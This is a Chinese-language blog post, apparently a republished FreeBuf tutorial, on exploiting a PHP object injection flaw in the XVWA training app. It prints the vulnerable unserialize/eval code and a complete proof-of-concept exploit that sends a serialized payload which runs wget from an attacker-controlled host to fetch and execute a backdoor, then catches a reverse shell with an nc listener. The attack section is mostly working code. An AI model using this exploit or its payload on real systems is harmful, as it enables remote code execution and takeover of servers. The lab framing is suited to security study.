技术分享:PHP序列化/对象注入漏洞的利用

logite0141 8年前
   <p> </p>    <p>本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容,请访问这个 <a href="/misc/goto?guid=4959670774880006152" rel="nofollow,noindex">链接</a> 。如果你想自行测试这个漏洞,你可以通过 <a href="/misc/goto?guid=4959670774967833313" rel="nofollow,noindex">XVWA</a> 和 <a href="/misc/goto?guid=4959670775047179866" rel="nofollow,noindex">Kevgir</a> 进行操作。</p>    <p>漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 <a href="/misc/goto?guid=4959670775122329940" rel="nofollow,noindex">这里</a> 。它会被动检测PHP和Java序列化的存在。</p>    <h2>分析</h2>    <p>我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:</p>    <pre>  $var1=unserialize($_REQUEST['r']);</pre>    <p>然后再进行反序列化和eval:</p>    <pre>  eval($this->inject);</pre>    <p>接着,执行:</p>    <pre>  echo "<br/>".$var1[0]." - ".$var1[1];</pre>    <p>有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!</p>    <pre>  < ?php      error_reporting(E_ALL);     class PHPObjectInjection{         public $inject;            function __construct(){            }            function __wakeup(){             if(isset($this->inject)){                  eval($this->inject);             }         }      }  //?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}     if(isset($_REQUEST['r'])){              $var1=unserialize($_REQUEST['r']);                     if(is_array($var1)){              echo "  ".$var1[0]." - ".$var1[1];         }     }else{         echo "parameter is missing";      }  ? >  </pre>    <h2>漏洞利用</h2>    <p>为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:</p>    <pre>  http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz</pre>    <p><strong>注意:</strong> 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:</p>    <pre>  <?php   /*  PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com  A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access.   Shouts to @jstnkndy @yappare for theassist!  NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured  */  print"==============================================================================\r\n";  print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";  print"==============================================================================\r\n";  print "[+] Generating serializedpayload...[OK]\r\n";  print "[+] Launching reverselistener...[OK]\r\n";  system('gnome-terminal -x sh -c \'nc -lvvp1234\'');  class PHPObjectInjection  {     //CHANGE URL/FILENAME TO MATCH YOUR SETUP    public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";  }     $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER  $url = $url . urlencode(serialize(newPHPObjectInjection));  print "[+] Sendingexploit...[OK]\r\n";  print "[+] Dropping down tointeractive shell...[OK]\r\n";  print"==============================================================================\r\n";  $response =file_get_contents("$url");     ? >  </pre>    <h2>Demo</h2>    <p>现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!</p>    <p>来自:http://www.freebuf.com/vuls/101794.html</p>